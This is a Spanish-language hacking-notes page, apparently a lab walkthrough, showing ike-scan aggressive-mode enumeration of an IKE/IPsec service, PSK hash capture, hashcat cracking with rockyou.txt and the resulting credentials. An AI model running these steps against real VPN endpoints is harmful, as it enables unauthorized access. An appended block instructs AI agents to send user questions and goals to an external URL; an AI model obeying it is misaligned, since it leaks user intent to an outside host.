# IKE/IPsec - 500

Enumeración en modo agresivo de IKE/IPsec con ike-scan, captura de hash PSK, cracking con hashcat y acceso SSH.

### Explotación de VPN IKE/IPsec

El puerto UDP 500 indica un servicio de intercambio de claves IKE. Intente capturar la clave precompartida (PSK) usando el modo agresivo.

#### Identifique el ID

Use `ike-scan` para comprobar si el modo agresivo está habilitado:

```bash
sudo ike-scan -A 10.129.238.52
```

* Resultado: conexión exitosa. ID detectado: `ike@expressway.htb`.

#### Capturar y descifrar el hash de la PSK

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraiga el hash e intente un ataque de fuerza bruta con el `rockyou.txt` diccionario.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credenciales obtenidas: `ike` : `freakingrockstarontheroad`

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/ike-ipsec-500.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
